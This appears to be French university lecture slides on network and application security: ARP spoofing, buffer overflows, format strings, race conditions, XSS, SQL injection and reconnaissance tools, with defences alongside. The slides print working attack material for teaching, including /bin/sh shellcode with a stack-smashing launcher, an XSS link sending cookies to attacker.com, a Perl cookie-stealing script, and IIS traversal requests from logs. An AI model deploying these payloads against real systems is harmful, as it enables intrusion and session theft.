(c) dp

98

arp spoofing
Pollution des caches arp avec de fausses associations adresse
mac/adresse IP.
Permet des attaques de type "man in the middle", DOS,
transgression des rgles d'un firewall par spoofing.

arp-reply
192.168.16.10

192.168.16.10

00:50:04:47:5F:5F

15/10/2014

- ENSICAEN -

(c) dp

99

arp spoofing
Exemple d'outil d'arp spoofing:
arp-sk (linux)
Cain & Abel (Windows)

15/10/2014

- ENSICAEN -

(c) dp

100

Applications du arp-spoofing
Ecouter le rseau local
Initier une attaque man in the middle pour les sessions
hybrides http/https
intrus

Arp spoofing
Arp spoofing
Interception et Interprtation
du flux http, remplacement
des balises https par http
Site web
Utilisateur -> site web

15/10/2014

- ENSICAEN -

(c) dp

101

Parades contre le arp


spoofing
Utiliser des associations statiques (peu
souple)
Surveiller les changements d'association:
arpwatch (unix)
http://www.securityfocus.com/data/tools/arpwatch.tar.Z

WinARP Watch (Windows)

http://
www.securityfocus.com/data/tools/warpwatch.zip

15/10/2014

- ENSICAEN -

(c) dp

102

tcp hijacking

15/10/2014

- ENSICAEN -

(c) dp

103

tcp hijacking
Numros de squence TCP pendant les
changes:
Ut1 Seq x PSH/ACK y (10) Ut2
Ut1 Seq y PSH/ACK x+10 (20) Ut2
Ut1 Seq x+10 PSH/ACK y+20 (30) Ut2
Ut1 Seq y+20 PSH/ACK x+40 (10) Ut2
Pirate Seq x+40 PSH/ACK y+20 (30) Ut2
Ut1 Seq y+30 PSH/ACK x+70 (20) Ut2

Exemple d'outil de tcp hijacking: hunt


http://www.spenneberg.org/TCP-Hijacking//
15/10/2014
- ENSICAEN (c) dp

104

Smurf
Attaque du type DRDOS (Distributed Reflective
Denial Of Service).
Envoie d'une trame ICMP "echo request" sur une
adresse de diffusion.
Exemple: ping 193.49.200.255
Mthode utilise pour dterminer les machines
actives sur une plage IP donne.
15/10/2014

- ENSICAEN -

(c) dp

105

Attaque en Smurf

3 parties: l'attaquant, l'intermdiaire, la victime


Trame ICMP Echo request sur adresse de diffusion du site relai
Adresse source: IP victime

Echo Reply sur la victime

15/10/2014

- ENSICAEN -

(c) dp

106

Parades au smurf
Interdire la rponse aux trames ICMP
sur les adresses de diffusion:
Au niveau routeur
Au niveau machine

15/10/2014

- ENSICAEN -

(c) dp

107

DNS cache poisoning


Reroutage d'un site sur un site pirate

cache poisoning

15/10/2014

- ENSICAEN -

(c) dp

108

Exemple: BIND
Vulnrabilit dcouverte en juillet 2007 touchant de
nombreuses versions de BIND (CVE-2007-2926 ,
BID-25037).

Description du CERTA:
"Une

vulnrabilit a t identifie dans BIND. La faille


concerne le gnrateur d'identifiants de requtes,
vulnrable une cryptanalyse permettant une chance
leve de deviner le prochain identifiant pour la moiti
des requtes. Ceci peut tre exploit par une personne
malintentionne pour effectuer du cache poisoning et
donc contourner la politique de scurit. "
15/10/2014

- ENSICAEN -

(c) dp

109

Exemple faille DNS cache


poisoning

15/10/2014

- ENSICAEN -

(c) dp

110

Vulnrabilits
applicatives
15/10/2014

- ENSICAEN -

(c) dp

111

Vulnrabilits applicatives
Beaucoup d'applications sont vulnrables dues de
la mauvaise programmation (par manque de temps,
de motivation, ) ou volontairement (amnagement
d'un point d'entre, ).
Toutes les applications ont besoin de scurit:
services rseaux (daemons), les applications
tlcharges (applet java, ), les applications web
(scripts cgi, ), les applications utilises par
l'administrateur ou disposant d'un bit setuid/setgid,
visualisateur de donnes distantes, et finalement
probablement toutes les applications
15/10/2014

- ENSICAEN -

(c) dp

112

Exemple: vulnrabilit dans


Microsoft Word

WebCastSecurite, Microsoft, mai 2013


15/10/2014

- ENSICAEN -

(c) dp

113

Vulnrabilits les plus


courantes
Les vulnrabilits peuvent tre due:
"backdoors" laisses volontairement ou
involontairement sur un service par le
programmeur (Ex: rlogin sous AIX V3)
Erreurs de programmation

15/10/2014

Dbordements de tampons (buffer overflow)


Chanes de format
Entres utilisateurs mal valides
Les problmes de concurrence
etc.
- ENSICAEN -

(c) dp

114

Buffer Overflow
Appele aussi "buffer overruns"; c'est
une vulnrabilit extrmement tendue
(environ 2/3 des vulnrabilits).
criture de donnes en dehors de la
zone alloue (pile ou tas).

15/10/2014

- ENSICAEN -

(c) dp

115

Exemple code erron


int main (int argc, char **argv)
{
char buf [8] ;
strcpy (buf,argv [1]) ;
}
fichier: demo.c
Excution:
[dp@ns bufferoverflow]$ ./demo aaaaaaaaaaaaaaaaaaaaaaaaaa
Segmentation fault
Sous debugger:

[dp@ns bufferoverflow]$ gdb demo


(gdb) run aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
Starting program: /users/dp/bufferoverflow/demo
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
Program received signal SIGSEGV, Segmentation fault.
0x61616161 in ?? ()
15/10/2014

- ENSICAEN -

(c) dp

116

Buffer Overflow
Si le buffer est une variable C locale, on pourra
essayer de forcer la fonction excuter du code
pirate ("stack smashing attack").
Beaucoup d'applications crites en langage C sont
vulnrables car la simplicit et l'efficacit de ce
langage ont prvalu sur les contrles d'intgrit
laisss la responsabilit du programmeur. Mais le
problme existe galement dans d'autres langages
de programmation.

15/10/2014

- ENSICAEN -

(c) dp

117

Gestion de pile sous Unix


command line arguments
and shell environment
stack

Storage file

heap
symbol table

bss
data initialized

data initialized

text

text
linker header &
magic number

Process in memory

15/10/2014

- ENSICAEN -

(c) dp

118

Gestion de pile sous Linux


x86
gcc S stack.c
void function (int a,int b,int c)
{
char buffer1 [5] ;
char buffer2 [10] ;
}
void main ()
{
function (1,2,3) ;
}
15/10/2014

- ENSICAEN -

(c) dp

119

Gestion de pile sous Linux


x86
.text

.align 4
.globl function
.type function,@function
function:
pushl %ebp
movl %esp,%ebp
subl $20,%esp
.L1:
leave
ret
.Lfe1:
.size function,.Lfe1-function
.align 4
.globl main
.type main,@function

15/10/2014

- ENSICAEN -

main:
pushl %ebp
movl %esp,%ebp
pushl $3
pushl $2
pushl $1
call function
addl $12,%esp
.L2:
leave
ret

(c) dp

120

Gestion de pile sous Linux


x86
user stack
c
b
a
ret
sfp
buffer1
buffer2
heap
bss

15/10/2014

- ENSICAEN -

(c) dp

121

Code Shell
Le buffer overflow va tre utilis pour
provoquer l'excution de /bin/sh, shell prsent
dans toutes les distributions unix.
Gnration du code assembleur de la
squence: execve (argv[0],"/bin/sh",NULL)
Exemple code Linux x86:
char shellcode[] =
"\xeb\x22\x5e\x89\xf3\x89\xf7\x83\xc7\x07\x31\xc0\xaa"
"\x89\xf9\x89\xf0\xab\x89\xfa\x31\xc0\xab\xb0\x08\x04"
"\x03\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xd9\xff"
"\xff\xff/bin/sh";
15/10/2014

- ENSICAEN -

(c) dp

122

Exemple Buffer Overflow/


Code Shell
char shellcode[] =
"\xeb\x22\x5e\x89\xf3\x89\xf7\x83\xc7\x07\x31\xc0\xaa"
"\x89\xf9\x89\xf0\xab\x89\xfa\x31\xc0\xab\xb0\x08\x04"
"\x03\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xd9\xff"
"\xff\xff/bin/sh";
char large_string [128] ;
void main ()
{
char buffer [96] ;
int i ;
long *long_ptr = (long *) large_string ;
for (i = 0 ; i < 32 ; i++)
*(long_ptr + i) = (int) buffer ;
for (i = 0 ; i < strlen (shellcode) ; i++)
large_string [i] = shellcode [i] ;
strcpy (buffer,large_string) ;
}
15/10/2014

- ENSICAEN -

(c) dp

123

Exemple Buffer/Overflow/
Code Shell
ret (4)

strcpy overflow

sfp (4)
long_ptr (4)
i (4)

buffer (96)
large_string (128)
shellcode

15/10/2014

- ENSICAEN -

(c) dp

124

Stack Smashing
Dans la ralit, les applications ne
comportent naturellement pas de squence
shell.
L'exploitation d'un "buffer overflow" ncessite
d'essaye de piger l'application avec la ligne
de commande, les variables d'environnement
shell, les entres de donnes interactives,

15/10/2014

- ENSICAEN -

(c) dp

125

Exemple dapplication
char shellcode[] =
"\xeb\x22\x5e\x89\xf3\x89\xf7\x83\xc7\x07\x31\xc0\xaa\x89\xf9\x89\xf0\xab\x89\xfa
\x31\xc0\xab\xb0\x08\x04\x03\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xd9\xff"\xff\xff/bin/
sh";
void main ()
{
char buffer [128] ; int i ; long address = (long)&buffer ;
for (i = 0 ; i < 128 ; i++) buffer [i] = 0x90 ;
buffer [12] = address >> 0 & 0xff ; buffer [13] = address >> 8 & 0xff ;
buffer [14] = address >> 16 & 0xff ; buffer [15] = address >> 24 & 0xff ;
for (i = 0 ; i < strlen (shellcode) ; i++)
buffer [128 - strlen (shellcode) + i] = shellcode [i] ;
execl ("/users/dp/bufferoverflow/demo","demo",buffer,0) ;
}

-rws--x--x 1 root

15/10/2014

root

11800 Sep 16 11:4 /users/dp/bufferoverflow/demo

- ENSICAEN -

(c) dp

126

Stack Smashing Prevention

Les fonctions de manipulation de chanes sans contrle de longueur


sont vulnrables.
Liste non exhaustive:

15/10/2014

gets (str)

fgets (stdin,str,10)

strcpy (str1,str2)

strncpy (str1,str2,10)

strcat (str1,str2)

strncat (str1,str2,10)

scanf ("%s",str)

scanf ("%10s",str)

- ENSICAEN -

(c) dp

127

Stack Smashing Prevention


Utilisation de logiciels daudit de code source;
Exemple: logiciel RATS (Rough Auditing Tool for
Security)
http://www.securesw.com/download_rats.htm/
La pile peut tre rendu non excutable:
Patch linux: http://www.openwall.com/linux
Solaris: ajout dans /etc/system:
set noexec_user_stack=1
set noexec_user_stack_log=1

Certains compilateurs peuvent mettre un repre


("canary") devant l'adresse de retour afin de la
protger (stackguard driv de gcc).
15/10/2014

- ENSICAEN -

(c) dp

128

Exemple stackguard
sfp
ret
canary
buffer

En cas dattaque
on crase le buffer, canary et
ret
avant le retour de la fonction,
le programme vrifie le
contenu de canary et dtecte
lintrusion
Le canary doit tre gnr
alatoirement.

15/10/2014

- ENSICAEN -

(c) dp

129

Exemple de vulnrabilit

15/10/2014

- ENSICAEN -

(c) dp

130

Exemple de vulnrabilit:
heartbleed
Impacte la bibiliothque OpenSSL
Faille prsente depuis le 14 mars 2012 (release 1.0.1) et rendue
publique le 7 avril 2014 par la socit Codenomicon.
Vulnrabilit de type buffer over-read
Le client demande au serveur de lui retourner une chaine en
spcifiant la taille de la chaine. Cette dernire ntait pas vrifie
par le serveur.

15/10/2014

- ENSICAEN -

(c) dp

131

15/10/2014 http://xkcd.com/1354/ - ENSICAEN -

(c) dp

132

Chanes de format
Problme connu depuis juin 1999 et exploit
depuis juin 2000.
Leur exploitation ont conduit des
vulnrabilits "remote root" (wu-ftpd, linux
tpc.statd, ) et "local root" (OpenBSD fstat,
)
De nombreuses vulnrabilits sont
probablement encore venir.
15/10/2014

- ENSICAEN -

(c) dp

133

Fonctions C de formatage
Exemples de telles fonctions: toute la famille
des fonctions printf, syslog.
Fonctions acceptant un nombre variable de
paramtres dont l'un est une chane de
format.
Les variables affiches sont converties en
une reprsentation affichable et
comprhensible par l'homme.
15/10/2014

- ENSICAEN -

(c) dp

134

Fonctionnement d'un printf


printf ("les nombres valent %d %d\n",a,b);
b
a
chane de format

2 particularits dans les fonctions de la


famille printf:
printf ("%s%n\n",chaine,&count);
printf (chaine) ;
15/10/2014

- ENSICAEN -

(c) dp

135

Exploitation d'une chane de


format
Modification de la valeur de la variable target:
#include <stdio.h>
main (int argc,char **argv)
{
char inbuf[100];
char outbuf [100] ;
int target = 33 ;
memset (inbuf,'\0',100) ;
memset (outbuf,'\0',100) ;
read (0,inbuf,100) ;
sprintf (outbuf,inbuf) ;
printf ("%s",outbuf) ;
printf ("target = %d\n",target) ;
}
15/10/2014

- ENSICAEN -

(c) dp

136

Format String + Buffer


Overflow
Exemple: vulnrabilit de qpop 2.53
#include <stdio.h>
void fonction (char *user)
{
char outbuf [512] ;
char buffer [512] ;
sprintf (buffer,"ERR Wrong command: %400s",user) ;
sprintf (outbuf,buffer) ;
}
void main ()
{
char user [128] ;
read (0,user,sizeof (user)) ;
fonction (user) ;
}
15/10/2014

- ENSICAEN -

(c) dp

137

Vulnrabilit qpop 2.53


Objectif: faire dborder outbuf sur l'adresse
de retour; celle ci pointera sur user.
user:
["Shell code" "%97c" "Adresse de user]
buffer: aprs le 1er sprintf
["Err Wrong Command : ""
Shell code%97cAdresse de user]
----------20---------------------------------400----------------

Le 2me sprintf interprte le %97c; il fait


dborder outbuf.
15/10/2014

- ENSICAEN -

(c) dp

138

Exemple de vulnrabilit

15/10/2014

- ENSICAEN -

(c) dp

139

Race Condition
Toute ressource (fichiers, structure de
donnes, ) peut tre manipule
simultanment par plusieurs processus ou
plusieurs threads.
Certaines oprations doivent donc tre
rendues atomiques.
Les droits d'accs doivent tre trs prcis.
Exemple: quel est danger du programme sur
le transparent suivant, sachant que
l'excutable appartient "root" et possde le
SetUser ID (bit s) ?
15/10/2014

- ENSICAEN -

(c) dp

140

Race Condition
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/stat.h>
#include <sys/types.h>
int main (int argc,char **argv)
{
struct stat st ;
FILE *fp ;
if (argc != 3)
{ fprintf (stderr,"usage : %s fichier message\n", argv [0]) ; exit (EXIT_FAILURE) ;}
if (stat (argv [1], &st) < 0)
{fprintf (stderr,"%s introuvable\n",argv [1]) ;exit (EXIT_FAILURE) ;}
if (st.st_uid != getuid ())
{fprintf (stderr,"%s ne vous appartient pas !\n", argv [1]) ;exit (EXIT_FAILURE) ;}
if (! S_ISREG (st.st_mode))
{fprintf (stderr,"%s n'est pas un fichier normal\n", argv [1]) ;exit (EXIT_FAILURE) ;}
if ( (fp = fopen (argv [1],"w")) == NULL)
{fprintf (stderr,"Ouverture impossible\n") ;exit (EXIT_FAILURE) ;}
fprintf (fp,"%s\n",argv [2]) ;fclose (fp) ;fprintf (stderr,"Ecriture OK\n") ;
exit (EXIT_SUCCESS) ;
}

15/10/2014

- ENSICAEN -

(c) dp

141

Fonctions utiliser
Il faut conserver la totale matrise d'un fichier lors de
sa manipulation d'un fichier.
Quelques exemples de fonctions utilisables:
int open (pathname,flag,mode)

Ouverture d'un fichier. Renvoie


un descripteur

fstat (inf fd,struct stat *st)

Informations sur un fichier

FILE *fdopen (int fd,char *mode) Obtenir un flux partir d'un


descripteur dj ouvert

15/10/2014

- ENSICAEN -

(c) dp

142

Fichiers temporaires
Les applications crent des fichiers
temporaires dans /tmp
drwxrwxrwt 6 root root
1024 Sep 29 15:01 /
tmp
Problme quand le nom du fichier temporaire est
prvisible et cr par une application root suid:
Cration d'un lien symbolique entre ce fichier et un
fichier systme critique (/etc/shadow par exemple)
L'application doit tre ensuite tue pour qu'elle ne
puisse effacer son fichier temporaire.
15/10/2014

- ENSICAEN -

(c) dp

143

Exemple programme erron


#include <stdio.h>
void main ()
{
FILE *fp ;
char chaine [80] ;
memset (chaine,'\0',sizeof (chaine)) ;
if ( (fp = fopen ("/tmp/stupide","w")) == NULL) { exit (1) ; }
read (0,chaine,sizeof (chaine)) ;
fprintf (fp,"%s",chaine) ;
fclose (fp) ;
}
15/10/2014

- ENSICAEN -

(c) dp

144

Fichiers temporaires
Cration d'un rpertoire dans un rpertoire
disposant d'un bit "t" (sticky bit):
Nom de fichier alatoire.
Fichier ouvert avec les droits O_CREAT|O_EXCL
(attention aux disques NFS avec O_EXCL).

La fonction tmpfile (3) cre un fichier


temporaire dans le rpertoire spcifi par la
variable P_tmpdir de stdio.h. Mais pas de
prcision sur les droits d'accs.
Utiliser plutt mkstemp (3) en conjonction avec
umask (2).
15/10/2014

- ENSICAEN -

(c) dp

145

Cration d'un fichier


temporaire
#include <stdio.h>
FILE *create_tempfile (char *temp_filename_pattern)
{
int temp_fd,old_mode ;
FILE *tmp ;
old_mode = umask (077) ;
temp_fd = mkstemp (temp_filename_pattern) ;
umask (old_mode) ;
if (temp_fd == -1) { exit (1); }
if ( ! (tmp = fdopen (temp_fd,"w+b"))) { exit (1) ; }
return tmp ;
}
void main ()
{
char pattern [ ] = "/tmp/demoXXXXXX" ;
create_tempfile (pattern) ;
unlink (pattern) ; /* Effacement */
}
15/10/2014

- ENSICAEN -

(c) dp

146

Exemple de vulnrabilit

15/10/2014

- ENSICAEN -

(c) dp

147

Erreurs de dcodage d'URL


Certains caractres doivent tre "chapps";
par exemple le passage de paramtres un
CGI, les caractres encods sur plusieurs
octets.
Caractre chapp: %XX o XX est le code
hexadcimal du caractre encoder.
Exemple:
nick=test+param%E8tre&channel=France
Des serveurs webs peuvent ne pas dcoder
de manire propre.
15/10/2014

- ENSICAEN -

(c) dp

148

Erreur de dcodage d'URL


Un serveur web est amen prendre une dcision en fonction
d'une URL:
Le chemin indiqu ne doit pas sortir de la racine du serveur
WEB
L'extension du fichier dcide du handler activer (.cgi, .jsp,
); un fichier se terminant par .jsp%00.html peut tre
considr comme un fichier html par les mcanismes de
scurit mais excut comme du code java (Java Server
Page).
L'utilisateur doit avoir les permissions adquates pour
accder au fichier ou rpertoire indiqu.
Beaucoup de serveurs web effectuent des tests de scurit
avant le dcodage et non aprs.
15/10/2014

- ENSICAEN -

(c) dp

149

Etude de cas
Microsoft IIS 4.0 et 5.0 tait vulnrable au problme: "MS IIS/
PWS Escaped Characters Decoding Command Execution
Vulnrability".
Dtail sur
http://www.securityfocus.com/cgi-bin/vulns-item.pl?
section=discussion&id=2708
Correctif sur
http://www.microsoft.com/technet/security/bulletin/
MS01-026.asp

Chaque requte subit le traitement suivant:


dcodage.
test de scurit.
si le test de scurit est valid, dcodage
nouveau avant utilisation.

15/10/2014

- ENSICAEN -

(c) dp

150

IIS : Etude de cas


On tente d'excuter une commande sur le
systme distant: besoin de transmettre la
chane ..\..
Codage: ..%5c.. Echec
Double codage: ..%255c.. Succs
Plusieurs exploits disponibles, par exemple
execiis.c par Filip Maertens, [email protected]

15/10/2014

- ENSICAEN -

(c) dp

151

Exemples d'attaque

Donnes extraites du fichier de log de


http://www.ensicaen.fr
host-213-191-162-202.warsun.com - - [27/Aug/2004:07:42:22 +0200] "GET
/scripts/..%255c%255c../winnt/system32/cmd.exe?/c+dir" 404 195.224.89.179 - - [28/Aug/2004:14:17:43 +0200] "GET
/scripts/..
%255c%255c../winnt/system32/cmd.exe?/c+dir" 404 artemisa.escet.urjc.es - - [05/Sep/2004:20:17:35 +0200] "GET /scripts/..
%255c%255c../winnt/system32/cmd.exe?/c+dir" 404 195.167.240.188 - - [08/Sep/2004:03:53:14 +0200] "GET
/scripts/..
%255c%255c../winnt/system32/cmd.exe?/c+dir" 404 128.192.164.95 - - [10/Sep/2004:02:46:42 +0200] "GET
/scripts/..
%255c%255c../winnt/system32/cmd.exe?/c+dir" 404 -

15/10/2014

- ENSICAEN -

(c) dp

152

Exemple de mauvais dcodage


d'URL
Vulnrabilit dcouverte en juillet 2007
(CVE-2007-3845, BID-24837).
Concerne Firefox sous Windows XP
avec Internet Explorer 7 install
Mauvaise gestion du caractre spcial
"%00" dans les chanes formant les URI
(Uniform Ressource Identifier)
15/10/2014

- ENSICAEN -

(c) dp

153

Exemple de mauvais dcodage


d'URL
Envoyer votre courrier ici
<a target="_blank" href='mailto:%00%00../../../../../windows/system32/cmd".exe .
./../../../../../windows/system32/calc.exe " - " toto.bat'>[email protected]</a>

15/10/2014

- ENSICAEN -

(c) dp

154

Le cross site scripting


Attaque connue depuis fvrier 2000:
http://www.cert.org/advisories/CA-2000-02.html

Pourquoi ce nom :
Attaque base sur lexcution de scripts dans le
navigateur de la victime (javascript, vbscript, ).
La victime passe dun site lautre sans sen
apercevoir.

Lacronyme XSS:
CSS : Cascading Style Sheet
XSS : Cross Site Scripting (excution croise de
code).
15/10/2014

- ENSICAEN -

(c) dp

155

Intrt de XSS
http est un protocole sans notion de session: pas de
lien entre les requtes reues par le serveur.
Une session doit tre construite artificiellement:
Par un cookie envoy au navigateur
Par manipulation dURL contenant un identifiant
Par des paramtres dun programme
Etc.

15/10/2014

- ENSICAEN -

(c) dp

156

Exemple dattaque

Herv Schauer Consultants http://www.hsc.fr

15/10/2014

- ENSICAEN -

(c) dp

157

Comment dtourner le cookie


Le client a consult un site pirate.
Le client a reu un courrier lectronique
contenant un lien vers un site pirate.
Le serveur consult a t pirat et contient un
lien vers le site pirate.
Un code malveillant pointant vers le site
pirate a t insr dans les saisies du client.
Etc.
15/10/2014

- ENSICAEN -

(c) dp

158

Exemple de mise en oeuvre


Une vulnrabilit XSS est dtecte sur le site
www.vulnerable.com
Un utilisateur clique sur un lien (reu par courriel,
trouv sur un livre dor, ):

Nom dun champ du


formulaire

<html>
<a href="http://www.vulnerable.com/
var=<script>document.location.replace(http://
attacker.com/steal.cgi?+document.cookie);</
script>">
cliquer ici pour recevoir 50 euros
</a>
</html>
15/10/2014

- ENSICAEN -

(c) dp

159

Script steal.cgi

#!/usr/bin/perl
# steal.cgi by David Endler [email protected]
# Specific to your system
$mailprog = '/usr/sbin/sendmail';
# create a log file of cookies, well also email them too
open(COOKIES,>>stolen_cookie_file);
# what the victim sees, customize as needed
print "Content-type:text/html\n\n";
print <<EndOfHTML;
<html><head><title>Cookie Stealing</title></head>
<body>
Your Cookie has been stolen. Thank you.
</body></html>
EndOfHTML
# The QUERY_STRING environment variable should be filled with
# the cookie text after steal.cgi:
# http://www.attacker.com/steal.cgi?XXXXX
print COOKIES $ENV{'QUERY_STRING'} from $ENV{REMOTE_ADDR}\n;
# now email the alert as well so we can start to hijack
open(MAIL,"|$mailprog -t");
print MAIL "To: attacker\@attacker.com\n";
print MAIL "From: cookie_steal\@attacker.com\n";
print MAIL "Subject: Stolen Cookie Submission\n\n";
print MAIL "-" x 75 . "\n\n";
print MAIL $ENV{'QUERY_STRING'} from $ENV{REMOTE_ADDR}\n;
close (MAIL);

15/10/2014

- ENSICAEN -

(c) dp

160

Exemple de code faible

<html>
<?php
print $nom ;
?>
</html>

fichier test1_xss.php3
15/10/2014

- ENSICAEN -

(c) dp

161

Remde possible
Ne jamais faire confiance une saisie
utilisateur.
Ne jamais afficher lcran tel quel une saisie
utilisateur.
Filtrer tous les caractres indsirables
(comme les caractres < et >).
Exemple en php:
print htmlspecialchars ("Bonjour $nom") ;
15/10/2014

- ENSICAEN -

(c) dp

162

Lauthentification .htaccess
Systme dauthentification frquemment
utilis pour restreindre laccs au contenu de
rpertoires spcifiques.
Filtre par domaine, mcanisme login/mot de
passe.
Fichier .htaccess par dfaut.
15/10/2014

- ENSICAEN -

(c) dp

163

Exemple de connexion

15/10/2014

- ENSICAEN -

(c) dp

164

Ecoute de la phase de
connexion

Mot de passe uuencode

15/10/2014

- ENSICAEN -

(c) dp

165

Injection SQL
Beaucoup d'applications web s'appuient
sur des bases de donnes.
Les requtes SQL utilisent des
informations saisies par les utilisateurs.
Les informations doivent tre traites
avant utilisation.
15/10/2014

- ENSICAEN -

(c) dp

166

Injection SQL

SELECT login FROM users WHERE login = '$login' AND password='$password'

Quel risque si les valeurs du formulaire sont utilises sans


vrification ?

15/10/2014

- ENSICAEN -

(c) dp

167

Injection SQL

http://www.xkcd.com/327

15/10/2014

- ENSICAEN -

(c) dp

168

Les outils d'attaques/


dfenses
15/10/2014

- ENSICAEN -

(c) dp

169

Beaucoup d'outils disponibles


outils de scurit

Visite de G. Bush la NSA en janvier 2006

15/10/2014

- ENSICAEN -

(c) dp

170

Anatomie d'une attaque


Rcolte d'informations sur une cible
potentielle.
Interrogation des bases whois.
Utilisation de moteurs de recherche.
Analyse de la cible (cartographie,
recherche des services ouverts et des
vulnrabilits).
15/10/2014

- ENSICAEN -

(c) dp

171

Cartographie du rseau

Mthode standard peu efficace: ping (Packet Internet Groper).


Outils plus sophistiqus:
Pinger
http://www.nmrc.org/files/snt/
fping
http://www.fping.com
hping3
http://www.hping.org
- Test firewall rules
- Advanced port scanning
- Test net performance using different protocols,
packet size, TOS (type of service) and
fragmentation.
- Path MTU discovery
- Transferring files between even really fascist
firewall rules.
- Traceroute-like under different protocols.
- Firewalk-like usage.
- Remote OS fingerprinting.
- TCP/IP stack auditing.
- A lot of others.

15/10/2014

- ENSICAEN -

(c) dp

172

Cartographie du rseau
Le DNS d'un site centralise toutes les machines connectes au
rseau.
Certains DNS incorrectement configurs peuvent autoriser des
transferts de zones:
dig @ns.domaine.com domaine.com axfr
Outil DNSMap rcupration dinformations

15/10/2014

- ENSICAEN -

(c) dp

173

Recherche des services


ouverts
Recherche des services ouverts un instant donn.
Utilisation d'un scanner de ports
Envoi d'un paquet (TCP,UDP,ICMP) sur une cible et
analyse du rsultat; suivant les cas on pourra
dterminer l'tat d'un port (ouvert,ferm, filtr).
Beaucoup de logiciels disponibles:
Unix: nmap, jakal, IdentTCPscan
Windows: ISS,YAPS
15/10/2014

- ENSICAEN -

(c) dp

174

nmap
Outil de rfrence.
nmap sous unix (http://www.nmap.org)
Scanne une machine ou un rseau la recherche
des services ouverts et de son identit.
Supporte de nombreuses techniques de scan:

15/10/2014

- ENSICAEN -

(c) dp

175

nmap: techniques de scan

vanilla TCP connect ()


TCP SYN (half open)
TCP FIN (stealth)
Xmas scan
Null scan
TCP ftp proxy (bounce attack)
SYN/FIN using IP fragments
UDP recvfrom ()
RPC scan
Reverse-ident

15/10/2014

- ENSICAEN -

(c) dp

(-sT, dfaut)
(-sS)
(-sF)
(-sX)
(-sN)
(-b server)
(-f)
(-sU)
(-sR)
(-I)
176

nmap
Beaucoup de fonctionnalits prsentes dans nmap:
Scan Sans envoi de trame ICMP (-P0)
Scan en mode verbeux (-v v)
Impose le port source (-g port)
FingerPrinting: Remote OS detection (-O)
decoy scanning (-Ddecoy_host1,decoy2[,...])
Timing policy (-T <Paranoid|Sneaky|Polite|Normal|Aggressive|Insane)

15/10/2014

- ENSICAEN -

(c) dp

177

Exemple nmap (Zenmap)

15/10/2014

- ENSICAEN -

(c) dp

178

Scan Spoof
hping permet de scanner une machine
en usurpant l'identit d'une autre:
scanner

RST si port
ferm

hping r rebond
rebond
(machine
peu active)

15/10/2014

cible

SYN, port,
source=rebond

- ENSICAEN -

SYN-ACK

RST si port
ouvert

(c) dp

179

FingerPrinting passif
FingerPrinting est dit passif quand il
n'met aucune information:
Analyse des trames envoyes par une
machine distante.
Analyse d'un fichier de log.

Exemple: p0f
http://www.stearns.org/p0f
15/10/2014

- ENSICAEN -

(c) dp

180

Association port-processus
Comment trouver localement quel processus est en coute sur
un port:
Linux
netstat anp
commande plus gnrale: lsof (LiSt Opened Files)
lsof i | grep LISTEN
lsof i tcp:33300
Windows
tcpview
Mac OS
lsof
15/10/2014

- ENSICAEN -

(c) dp

181

Exemple Unix "lsof"


httpd
httpd
httpd
httpd
httpd
httpd
sshd
xinetd
xinetd
httpd
httpd
squid
httpd

1053 root 16u IPv4 3262


TCP *:http (LISTEN)
1060 nobody 16u IPv4 3262
TCP *:http (LISTEN)
1061 nobody 16u IPv4 3262
TCP *:http (LISTEN)
1062 nobody 16u IPv4 3262
TCP *:http (LISTEN)
1063 nobody 16u IPv4 3262
TCP *:http (LISTEN)
1064 nobody 16u IPv4 3262
TCP *:http (LISTEN)
1073 root 3u IPv4 3310
TCP *:ssh (LISTEN)
1088 root 5u IPv4 3327
TCP *:pn-raproxy (LISTEN)
1088 root 6u IPv4 3328
TCP *:telnet (LISTEN)
1213 nobody 16u IPv4 3262
TCP *:http (LISTEN)
7996 nobody 16u IPv4 3262
TCP *:http (LISTEN)
14787 nobody 11u IPv4 13401405
TCP *:squid (LISTEN)
17885 nobody 16u IPv4 3262
TCP *:http (LISTEN)

15/10/2014

- ENSICAEN -

(c) dp

182

Exemple TCPView pour Windows

15/10/2014

- ENSICAEN -

(c) dp

183

Recherche des versions


utilises
Les versions des services utilises donnent des
indications sur les vulnrabilits potentielles.
Les versions peuvent parfois tre obtenues par un
simple telnet sur un port donn:
Exemples:

15/10/2014

- ENSICAEN -

(c) dp

184

Numro de version d'un serveur


web
dp@debian-mx1:~$ telnet www.ensicaen.fr 80
Trying 193.49.200.59...
Connected to serv2.ensicaen.fr.
Escape character is '^]'.
quit
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<HTML><HEAD>
<TITLE>501 Method Not Implemented</TITLE>
</HEAD><BODY>
<H1>Method Not Implemented</H1>
quit to /index.html not supported.<P>
Invalid method in request quit<P>
<HR>
<ADDRESS>Apache/1.3.26 Server at www.ensicaen.fr Port 80</ADDRESS>
</BODY></HTML>
Connection closed by foreign host.
Attention: le rsultat est-il garanti ?

15/10/2014

- ENSICAEN -

(c) dp

185

Concept de faille
Une faille est une vulnrabilit permettant des
attaquants d'obtenir un accs non autoris un
systme.
On peut trouver des vulnrabilits tous les niveaux:

routeurs
logiciels client/serveur
systme d'exploitation
firewalls

15/10/2014

- ENSICAEN -

(c) dp

186

Vulnrabilits

Des dizaines de vulnrabilits sont dcouvertes chaque semaine (environ 7000


failles publies sur Internet en 2011 et 26 millions de codes malveillants
diffuss*)

Une vulnrabilit peut tre la consquence d'une ngligence (mot de passe nul
ou trivial par exemple) ou d'une erreur de programmation (buffer overflow, ).

Certaines vulnrabilits peuvent tre gardes secrtes ( des fins d'espionnage,


d'utilisation mafieuse, ).

La dcouverte de nouvelles vulnrabilits peut faire l'objet de rmunration; on


entre dans l're du "vulnerability business".

Certaines vulnrabilits peuvent tre divulgues immdiatement (0 day);


phnomne dangereux et irresponsable.

Certains sites diffusent des exploits sans mentionner de correctifs.

* Source: rapport PandaLabs 2012

15/10/2014

- ENSICAEN -

(c) dp

187

Vulnrabilits

Un administrateur doit se tenir inform quotidiennement des dernires


vulnrabilits et avoir de la ractivit.

Beaucoup d'information en ligne:


Sites officiels
CERT (Computer Emergency Response Team)
Gouvernement franais:
Premier Ministre
SGDN (Secrtaire Gnral de la Dfense Nationale)
